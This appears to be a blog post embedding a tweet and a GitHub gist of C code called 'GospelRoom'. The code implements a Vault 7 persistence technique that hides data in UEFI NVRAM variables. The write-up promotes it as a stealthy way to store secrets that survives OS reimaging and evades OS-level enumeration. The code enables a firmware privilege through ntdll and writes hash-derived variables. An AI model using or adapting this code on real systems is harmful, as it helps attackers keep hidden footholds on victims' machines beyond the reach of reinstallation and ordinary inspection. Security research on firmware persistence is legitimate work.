Here's an implementation of a persistence technique found in Vault 7 that stores data in NVRAM variables. Data can survive OS re-imaging and cannot be enumerated with OS-level APIs. Requires admin.https://t.co/zyc4OnUZMO pic.twitter.com/58xeVkb9e3
— Jackson T. (@Jackson_T) November 17, 2019
Click on the URL in the above Twitter URL, as WordPress chokes on Github Gist URLs.
GospelRoom: Data Storage in UEFI NVRAM Variables
Behaviour
Persist data in UEFI NVRAM variables.
Benefits
- Stealthy way to store secrets and other data in UEFI.
- Will survive a reimaging of the operating system.
- NVRAM variables cannot be directly enumerated with OS-level APIs.
- Enumeration requires exact knowledge of variable names and their GUIDs.
Caveats
- Computer must have UEFI enabled, legacy BIOS will not work.
- Administrative access required (
SE_SYSTEM_ENVIRONMENT_NAME
privilege). - Buffer size is limited up to the size of the flash chip.
- Possible to enumerate from kernel mode.
Example Output
[SET] TestVariable: Hello, NVRAM!
[GET] TestVariable: Hello, NVRAM!
References
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Codename: GospelRoom | |
* Technique: Data Storage in UEFI NVRAM Variables | |
* Author: @Jackson_T | |
* | |
* Behaviour: Persist data in UEFI NVRAM variables. | |
* | |
* Benefits: | |
* 1. Stealthy way to store secrets and other data in UEFI. | |
* 2. Will survive a reimaging of the operating system. | |
* 3. NVRAM variables cannot be directly enumerated with | |
* OS-level APIs. Enumeration requires exact knowledge of | |
* variable names and their GUIDs. | |
* | |
* Caveats: | |
* 1. Computer must have UEFI enabled, legacy BIOS will not work. | |
* 2. The user account that the app is running under must have | |
* the SE_SYSTEM_ENVIRONMENT_NAME privilege (admin required). | |
* 3. Buffer size is limited up to the size of the flash chip. | |
* | |
* Example output: | |
* – [SET] TestVariable: Hello, NVRAM! | |
* [GET] TestVariable: Hello, NVRAM! | |
* | |
* References: | |
* – https://wikileaks.org/ciav7p1/cms/page_31227915.html | |
* – https://wikileaks.org/ciav7p1/cms/page_26968084.html | |
* – https://docs.microsoft.com/en-us/windows/desktop/api | |
* /winbase/nf-winbase-getfirmwareenvironmentvariablea | |
* – https://www.youtube.com/watch?v=q2KUufrjoRo | |
* – https://github.com/perturbed-platypus | |
*/ | |
#include "stdafx.h" | |
#include <Windows.h> | |
// Caveat #1: Check if system supports UEFI. | |
int IsFeatureSupported() | |
{ | |
int buffer; | |
GetFirmwareEnvironmentVariable(L"", L"{00000000-0000-0000-0000-000000000000}", &buffer, sizeof(buffer)); | |
return (GetLastError() == ERROR_INVALID_FUNCTION) ? 0 : 1; | |
} | |
// Caveat #2: SeSystemEnvironmentPrivilege needs to be set. | |
int SetSystemEnvironmentPrivilege() | |
{ | |
typedef NTSTATUS(WINAPI* RTLADJUSTPRIVILEGE)( | |
_In_ ULONG Privilege, | |
_In_ BOOLEAN Enable, | |
_In_ BOOLEAN CurrentThread, | |
_Out_ PBOOLEAN Enabled); | |
HMODULE hnd_module = LoadLibrary(_T("ntdll.dll")); | |
RTLADJUSTPRIVILEGE RtlAdjustPrivilege = (RTLADJUSTPRIVILEGE)GetProcAddress(hnd_module, "RtlAdjustPrivilege"); | |
ULONG SeSystemEnvironmentPrivilege = 22; | |
BOOLEAN enabled = false; | |
RtlAdjustPrivilege(SeSystemEnvironmentPrivilege, true, false, &enabled); | |
return (int)enabled; | |
} | |
// Convert the variable name to GUID for convenience. | |
// Modify this function as appropriate. | |
wchar_t* ConvertNameToGuid(wchar_t* name) | |
{ | |
// Compute DJB2 hash of name. | |
DWORD hash = 5381, c; | |
while (c = *name++) | |
hash = ((hash << 5) + hash) + c; | |
wchar_t* guid = (wchar_t*)malloc(100); | |
swprintf_s(guid, 100, L"{%08X-1337-1337-1337-1337%08X}", hash, hash); | |
return guid; | |
} | |
// Persist a buffer in NVRAM. | |
int SetVariable(wchar_t* name, void* buffer, size_t size) | |
{ | |
wchar_t* guid = ConvertNameToGuid(name); | |
return SetFirmwareEnvironmentVariable(name, guid, buffer, (DWORD)size); | |
} | |
// Retrieve a buffer from NVRAM. | |
size_t GetVariable(wchar_t* name, void* buffer, size_t size) | |
{ | |
wchar_t* guid = ConvertNameToGuid(name); | |
return GetFirmwareEnvironmentVariable(name, guid, buffer, (DWORD)size); | |
} | |
int main() | |
{ | |
wprintf(L"GospelRoom: Data Storage in UEFI NVRAM Variables\n\n"); | |
if (IsFeatureSupported()) | |
{ | |
SetSystemEnvironmentPrivilege(); | |
wchar_t* set_buffer = L"Hello, NVRAM!"; | |
wchar_t* get_buffer = (wchar_t*)calloc(wcslen(set_buffer), sizeof(wchar_t)); | |
SetVariable(L"TestVariable", set_buffer, wcslen(set_buffer) * sizeof(wchar_t)); | |
wprintf(L"[SET] TestVariable: %ls\n", set_buffer); | |
GetVariable(L"TestVariable", get_buffer, wcslen(set_buffer) * sizeof(wchar_t)); | |
wprintf(L"[GET] TestVariable: %ls\n", get_buffer); | |
} else { | |
printf("ERROR: This feature is not supported."); | |
} | |
return 0; | |
} |